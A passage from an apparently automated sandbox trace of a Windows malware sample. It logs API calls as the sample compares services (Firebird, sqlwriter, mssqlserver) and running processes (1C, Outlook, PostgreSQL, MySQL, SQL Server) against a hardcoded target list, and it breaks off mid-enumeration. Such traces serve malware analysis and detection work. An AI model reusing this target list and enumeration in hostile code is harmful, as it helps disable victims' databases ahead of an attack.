(lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0052.025] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0052.025] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0052.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0052.025] lstrlenW (lpString="LanmanServer") returned 12 [0052.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0052.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0052.025] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0052.025] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0052.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0052.025] lstrlenW (lpString="LanmanWorkstation") returned 17 [0052.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0052.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0052.025] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0052.025] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0052.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0052.025] lstrlenW (lpString="lmhosts") returned 7 [0052.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0052.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0052.025] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0052.025] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0052.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0052.025] lstrlenW (lpString="MMCSS") returned 5 [0052.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0052.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0052.025] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0052.025] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0052.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0052.025] lstrlenW (lpString="MpsSvc") returned 6 [0052.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0052.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0052.025] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0052.025] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0052.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0052.025] lstrlenW (lpString="Netman") returned 6 [0052.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0052.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0052.025] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0052.025] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0052.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0052.025] lstrlenW (lpString="netprofm") returned 8 [0052.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0052.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0052.025] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0052.025] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0052.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0052.025] lstrlenW (lpString="NlaSvc") returned 6 [0052.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0052.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0052.026] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0052.026] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0052.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0052.026] lstrlenW (lpString="nsi") returned 3 [0052.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0052.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0052.026] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0052.026] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0052.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0052.026] lstrlenW (lpString="PcaSvc") returned 6 [0052.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0052.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0052.026] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0052.026] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0052.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0052.026] lstrlenW (lpString="PlugPlay") returned 8 [0052.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0052.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0052.026] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0052.026] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0052.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0052.026] lstrlenW (lpString="Power") returned 5 [0052.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0052.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0052.026] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0052.026] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0052.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0052.026] lstrlenW (lpString="ProfSvc") returned 7 [0052.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0052.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0052.026] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0052.026] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0052.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0052.026] lstrlenW (lpString="RpcEptMapper") returned 12 [0052.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0052.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0052.026] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0052.026] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0052.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0052.026] lstrlenW (lpString="RpcSs") returned 5 [0052.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0052.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0052.026] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0052.026] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0052.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0052.026] lstrlenW (lpString="SamSs") returned 5 [0052.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0052.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0052.026] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0052.026] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0052.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0052.027] lstrlenW (lpString="Schedule") returned 8 [0052.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0052.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0052.027] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0052.027] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0052.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0052.027] lstrlenW (lpString="SENS") returned 4 [0052.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0052.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0052.027] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0052.027] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0052.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0052.027] lstrlenW (lpString="ShellHWDetection") returned 16 [0052.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0052.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0052.027] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0052.027] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0052.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0052.027] lstrlenW (lpString="Spooler") returned 7 [0052.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0052.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0052.027] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0052.027] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0052.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0052.027] lstrlenW (lpString="swprv") returned 5 [0052.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0052.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0052.027] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0052.027] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0052.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0052.027] lstrlenW (lpString="SysMain") returned 7 [0052.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0052.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0052.027] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0052.027] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0052.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0052.027] lstrlenW (lpString="Themes") returned 6 [0052.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0052.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0052.027] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0052.027] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0052.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0052.027] lstrlenW (lpString="TrkWks") returned 6 [0052.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0052.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0052.027] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0052.027] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0052.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0052.027] lstrlenW (lpString="UxSms") returned 5 [0052.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0052.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0052.028] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0052.028] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0052.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0052.028] lstrlenW (lpString="VSS") returned 3 [0052.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0052.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0052.028] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0052.028] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0052.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0052.028] lstrlenW (lpString="WdiServiceHost") returned 14 [0052.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0052.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0052.028] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0052.028] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0052.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0052.028] lstrlenW (lpString="WdiSystemHost") returned 13 [0052.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0052.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0052.028] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0052.028] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0052.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0052.028] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0052.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0052.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0052.028] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0052.028] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0052.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0052.028] lstrlenW (lpString="Winmgmt") returned 7 [0052.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0052.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0052.028] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0052.028] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0052.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0052.028] lstrlenW (lpString="WPDBusEnum") returned 10 [0052.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0052.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0052.028] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0052.028] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0052.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0052.028] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x974238 | out: hHeap=0x880000) returned 1 [0052.028] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x178 [0052.031] Process32FirstW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0052.032] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0052.032] lstrlenW (lpString="System") returned 6 [0052.032] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0052.032] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0052.032] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0052.032] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0052.032] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0052.032] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0052.032] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0052.032] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0052.033] lstrlenW (lpString="smss.exe") returned 8 [0052.033] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0052.033] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0052.033] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0052.033] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0052.033] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0052.033] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0052.033] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0052.033] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0052.033] lstrlenW (lpString="csrss.exe") returned 9 [0052.033] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0052.033] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0052.033] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0052.033] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0052.033] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0052.033] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0052.033] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0052.033] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0052.034] lstrlenW (lpString="wininit.exe") returned 11 [0052.034] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0052.034] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0052.034] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0052.034] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0052.034] lstrlenW (lpString="csrss.exe") returned 9 [0052.034] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0052.035] lstrlenW (lpString="winlogon.exe") returned 12 [0052.035] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0052.035] lstrlenW (lpString="services.exe") returned 12 [0052.035] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0052.035] lstrlenW (lpString="lsass.exe") returned 9 [0052.035] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0052.036] lstrlenW (lpString="lsm.exe") returned 7 [0052.036] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.036] lstrlenW (lpString="svchost.exe") returned 11 [0052.036] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.037] lstrlenW (lpString="svchost.exe") returned 11 [0052.037] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.037] lstrlenW (lpString="svchost.exe") returned 11 [0052.037] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.037] lstrlenW (lpString="svchost.exe") returned 11 [0052.037] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.038] lstrlenW (lpString="svchost.exe") returned 11 [0052.038] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0052.038] lstrlenW (lpString="audiodg.exe") returned 11 [0052.038] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.038] lstrlenW (lpString="svchost.exe") returned 11 [0052.038] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.039] lstrlenW (lpString="svchost.exe") returned 11 [0052.039] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0052.039] lstrlenW (lpString="dwm.exe") returned 7 [0052.039] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0052.040] lstrlenW (lpString="explorer.exe") returned 12 [0052.040] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0052.040] lstrlenW (lpString="spoolsv.exe") returned 11 [0052.040] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0052.040] lstrlenW (lpString="taskhost.exe") returned 12 [0052.040] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0052.041] lstrlenW (lpString="svchost.exe") returned 11 [0052.041] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0052.041] lstrlenW (lpString="taskeng.exe") returned 11 [0052.041] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="judges-present.exe")) returned 1 [0052.042] lstrlenW (lpString="judges-present.exe") returned 18 [0052.042] Process32NextW (in: hSnapshot=0x178, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="physics.exe")) returned 1 [0052.042] 